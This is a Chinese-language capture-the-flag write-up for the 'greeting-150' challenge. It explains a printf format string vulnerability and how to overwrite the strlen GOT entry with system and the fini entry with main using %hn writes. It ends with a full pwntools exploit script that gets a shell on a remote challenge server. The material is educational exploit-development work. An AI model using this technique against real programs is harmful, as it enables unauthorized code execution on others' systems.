0%

greeting-150

首先看一下保护机制

然后我们拖入IDA,发现是一个很简单的程序。

然而,最后的那个**printf(&s);**存在格式化字符串漏洞,可以造成任意地址的读写。

首先,我们需要确定我们输入的数据的相对位置。

经过测试,我们需要在前面填充2个字符,然后接下来我们的数据会位于第12个位置

那么,我们的payload = ‘aa’ + p32(address) + ‘%10c%12$n’

,我们就能把address处的数据写为(10+4+2+strlen(“Nice to meet you,”))这个值

原理请见https://www.cnblogs.com/ichunqiu/p/9329387.html

那么,我们可以用这种方式来修改GOT表

我们可以修改strlen的GOT表内容为system的PLT,然后我们想办法让程序程序回到main,执行strlen,我们输入/bin/sh,即可get shell

我们发现,程序结束时,会调用这个地方,我们利用printf把这里也一起修改为main的地址

以上两个地方的修改必须在一次完成,并且,我们的payload长度不能大于64,因为程序最多读取64个字符,因此,我们精心布置payload。并且,我们应该拆分4字节,分开写,不要,printf()需要输出很多字符,假如我们要让目标地址存入main_addr,如果我们是

payload = ‘aa’ + p32(fini_got) + “%” + str(main_addr -4 -2 – strlen(“Nice to meet you,”)) + ‘c%12$n’,那么printf需要输出main_addr这么多个字符,也就是

0x80485ED / 1024 / 1024 = 128MB,这是非常低效的。因此,我们有另一种方法。在printf的格式化修饰符中,hn 为WORD(字),hhn为BYTE(字节),n为DWORD(双字)

  1. fini_got = 0x8049934  

  2. main_addr = 0x80485ED  

  3. strlen_got = 0x8049A54  

  4. system_plt = 0x8048490

  

此处的数据,只有后2字节与main_addr不一样,因此,我们只需要修改后两字节

然后就是strlen的GOT表内容,四个字节我们都需要修改,我们拆分为2个2字节写。

1
2
3
4
arr = [  
0x85ED,
0x8490,0x804  
]  

由于因特尔处理器小端存储,因此,我们要在fini_got写入2字节数据arr[0]

在strlen_got写入2字节数据arr[2],在strlen_got+2处写入2字节数据arr[1]

我们应该按照数据的大小,从小到大的顺序写。

那么,我们需要先写0x804这个数据,再写0x8490,再写0x85ED(想想为什么?),这样,printf总共输出了0x85ED个字符,也就是33KB大小的数据,效率提升了近4000倍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf8  
from pwn import *

#sh = process('./pwnh16')
sh = remote('111.198.29.45',47556)

fini_got = 0x8049934
main_addr = 0x80485ED
strlen_got = 0x8049A54
system_plt = 0x8048490

sh.recvuntil('Please tell me your name... ')

#通过观察,这几个地址只有后2字节不一样
payload = 'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_got)

arr = [
0x85ED,
0x8490,0x804
]

#注意,我们的payload长度不能超过64,不然后面的都读取不到,因为最多输入64个字符

#hn 为WORD(字),hhn为BYTE(字节),n为DWORD(双字)
#修改strlen GOT内容的前2字节
num = arr[2] - 32
payload += '%' + str(num) + 'c%13$hn'
#修改strlen GOT内容的后2字节
num = arr[1] - arr[2]
payload += '%' + str(num) + 'c%12$hn'
#修改fini的后2字节
num = arr[0] - arr[1]
payload += '%' + str(num) + 'c%14$hn'

print len(payload)

sh.sendline(payload)

#get shell

sh.recvuntil('Please tell me your name... ')

sh.sendline('/bin/sh')

sh.interactive()